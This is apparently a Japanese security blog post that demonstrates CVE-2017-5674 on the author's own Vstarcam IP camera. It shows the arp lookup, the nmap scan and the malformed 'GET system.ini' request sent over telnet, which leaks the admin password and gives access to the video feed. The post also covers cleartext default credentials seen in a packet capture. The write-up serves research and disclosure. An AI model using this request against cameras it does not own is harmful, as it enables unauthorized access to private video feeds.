satto1237’s diary

s4tt01237’s diary

ラーメンとかCTFとかセキュリティとか

IoT: Webカメラで遊んだ話

はじめに

先日下記のツイートがTLに流れてきました.

CVE-2017-5674が遂にTVデビューしましたね (ちょっとテンションがあがった)
今回は二番煎じですがWebカメラCVE-2017-5674について色々と書いていきます(唐突).

Webカメラ

モデル

今回はVstarcam C7823WIP Mini WIFI IP Camera を使って検証していこうと思います.
上記の動画で扱っていたWebカメラも恐らくVstarcamだと思います.

www.vstarcam.com

ファームウェアのバージョン

f:id:satto1237:20190129014111p:plain

CVE-2017-5674

A vulnerability in a custom-built GoAhead web server used on Foscam, Vstarcam, and multiple white-label IP camera models allows an attacker to craft a malformed HTTP ("GET system.ini HTTP/1.1\n\n" - note the lack of "/" in the path field of the request) request that will disclose the configuration file with the login password.

nvd.nist.gov

CVE-2017-5674 とは 不正な形式のHTTPリクエストを送ることでVstarcamなどのIPカメラで使用されるGoAhead webサーバの設定ファイル(ログインパスワードを含む)が公開されてしまう脆弱性です.

検証

WebカメラIPアドレスの特定

> arp -a | grep 48:2:2c
? (192.168.2.3) at 48:2:2c:40:87:15 on en0 ifscope [ethernet]

WebカメラIPアドレス192.168.2.3であることが分かりました.

ポートスキャン

> nmap -p- -sV 192.168.2.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-29 01:50 JST
Nmap scan report for 192.168.2.3
Host is up (0.024s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE    VERSION
23/tcp    open  telnet     security DVR telnetd (many brands)
81/tcp    open  http       GoAhead WebServer
9600/tcp  open  tcpwrapped
10080/tcp open  amanda?
10554/tcp open  rtsp

Nmap done: 1 IP address (1 host up) scanned in 62.99 seconds

ポートスキャンの結果からGoAhead WebServer81/tcpで動いていることが分かりました.

補足
ファームウェアのバージョンが異なるモデルではhttpはランダムポートになっています.

81/tcpにアクセス

f:id:satto1237:20190129020229p:plain

ユーザ名とパスワードの入力を求めらます.

パスワードの漏洩

CVE-2017-5674の通りに不正なGETリクエストを送信して設定ファイルを漏洩させます.

> telnet 192.168.2.3 81
Trying 192.168.2.3...
Connected to 192.168.2.3.
Escape character is '^]'.

GET system.ini

HTTP/1.1 200 OK
Date: Mon Jan 28 17:06:13 2019
Server: GoAhead-Webs
Last-modified: Mon Jan 28 16:40:00 2019
Content-length: 4052
Content-type: text/plain
Cache-Control:no-cache
Connection: close

IPCAM������������������������������������������`0O\���time.nist.gov/




adminp4ssw0rd
~~~~������������������������������������������5W
�W
G
��
�j
R
:)VSTB000000ABCDE192.168.1.126Connection closed by foreign host.

admin, p4ssw0rdが降ってきました.

再度81/tcpにアクセス

f:id:satto1237:20190129022034p:plain

先程漏洩させたユーザ名とパスワードを使って81/tcpにアクセスしてみると管理画面が表示されました.

Sign in

適当にSign inするとカメラの映像が表示されます.

f:id:satto1237:20190129024340g:plain

その他

Vstarcam C7823WIP Mini WIFI IP CameraCVE-2017-5674以外にも面白い情報を提供してくれるので雑に紹介します.

初回起動時にユーザ名とデフォルトパスワードが平文で流れる
パケットキャプチャすると見えます.
f:id:satto1237:20190129030014p:plain

www[.]baidu[.]com
何のためかは分かりませんがiPhoneアプリから接続するとwww[.]baidu[.]comの名前解決をします.
AWSとの通信は何となく目的が分かるのですがbaiduとは何やってるんだろう? f:id:satto1237:20190129030803p:plain

まとめ

参考文献

動画の方の資料を参考にさせていただきました.

IoTSecJP ~製造と販売の問題~
http://ruffnex.net/iotsecjp/pdf/vuln.pdf

f:id:satto1237:20190129032000j:plain